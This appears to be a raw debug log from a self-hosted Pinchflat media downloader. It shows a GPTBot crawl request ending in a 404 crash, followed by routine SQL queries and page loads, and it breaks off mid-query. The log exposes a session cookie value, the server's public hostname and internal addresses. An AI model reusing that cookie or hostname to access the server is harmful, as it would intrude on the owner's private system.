"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a9 (truncated) 02:10:25.170 [info] GET /sources/3/media/3298/force_download 02:10:25.170 [debug] QUERY OK source="settings" db=0.2ms idle=1525.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.171 [debug] QUERY OK source="settings" db=0.2ms idle=1513.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:25.171 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:25.172 [error] #PID<0.263707.0> running PinchflatWeb.Endpoint (connection #PID<0.263697.0>, stream id 9) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/3/media/3298/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA" }, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263707.0>, params: %{}, path_info: ["sources", "3", "media", "3298", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/3/media/3298/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIEJ6Pv1qbfxSn8AMWNC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 9, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/media/3298/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263697.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/media/3298/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 37350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYX1RPMTc2c0dHOHdqblRVNmd5bVVpQkhG.nIRfk2l8w-0axH3IeTXYxyqs3EYnF8o0iZLC19pMNAA", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", (truncated) 02:10:29.299 [info] GET /download_logs 02:10:29.299 [debug] Processing with PinchflatWeb.Settings.SettingController.download_logs/2 Parameters: %{} Pipelines: [:browser] 02:10:29.300 [info] Sent 200 in 760µs 02:10:31.458 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:00.737 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:11:01.460 [info] {"source":"oban","duration":1067,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:11:05.127 [info] GET /media_profiles/2/ 02:11:05.127 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.show/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 02:11:05.128 [debug] QUERY OK source="media_profiles" db=0.4ms idle=949.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [2] 02:11:05.129 [debug] QUERY OK source="sources" db=0.5ms idle=483.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."media_profile_id" = ?) ORDER BY s0."custom_name" [2] 02:11:05.130 [debug] QUERY OK source="settings" db=0.2ms idle=484.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:05.130 [debug] QUERY OK source="settings" db=0.2ms idle=485.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:05.131 [debug] QUERY OK source="settings" db=0.2ms idle=486.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:05.134 [info] Sent 200 in 7ms 02:11:15.249 [info] GET /sources/1 02:11:15.249 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 02:11:15.250 [debug] QUERY OK source="sources" db=0.3ms idle=605.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:11:15.251 [debug] QUERY OK source="media_profiles" db=0.2ms idle=605.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:11:15.252 [debug] QUERY OK source="tasks" db=0.5ms idle=606.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 02:11:15.252 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=607.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2626] 02:11:15.253 [debug] QUERY OK source="settings" db=0.2ms idle=52.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:15.254 [debug] QUERY OK source="settings" db=0.2ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:15.255 [debug] QUERY OK source="settings" db=0.2ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:15.257 [debug] QUERY OK source="sources" db=0.2ms idle=4.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:11:15.259 [debug] QUERY OK source="media_items" db=1.4ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 02:11:15.264 [debug] QUERY OK source="media_items" db=4.6ms idle=6.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 02:11:15.267 [debug] QUERY OK source="sources" db=0.3ms idle=13.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:11:15.268 [debug] QUERY OK source="media_items" db=0.4ms idle=12.7ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 02:11:15.269 [debug] QUERY OK source="media_items" db=0.8ms idle=10.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 02:11:15.271 [debug] QUERY OK source="sources" db=0.2ms idle=11.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:11:15.273 [debug] QUERY OK source="media_items" db=1.0ms idle=7.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 02:11:15.279 [debug] QUERY OK source="media_items" db=6.3ms idle=5.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 02:11:15.282 [info] Sent 200 in 33ms 02:11:23.861 [info] GET /sources/5 02:11:23.862 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 02:11:23.863 [debug] QUERY OK source="sources" db=0.3ms idle=1217.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:11:23.863 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1218.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:11:23.864 [debug] QUERY OK source="tasks" db=0.3ms idle=1218.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 02:11:23.865 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=1219.5ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2617] 02:11:23.865 [debug] QUERY OK source="settings" db=0.2ms idle=649.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:23.866 [debug] QUERY OK source="settings" db=0.2ms idle=2.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:23.867 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:11:23.869 [debug] QUERY OK source="sources" db=0.2ms idle=4.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:11:23.870 [debug] QUERY OK source="media_items" db=0.5ms idle=5.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 02:11:23.874 [debug] QUERY OK source="media_items" db=2.7ms idle=5.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT 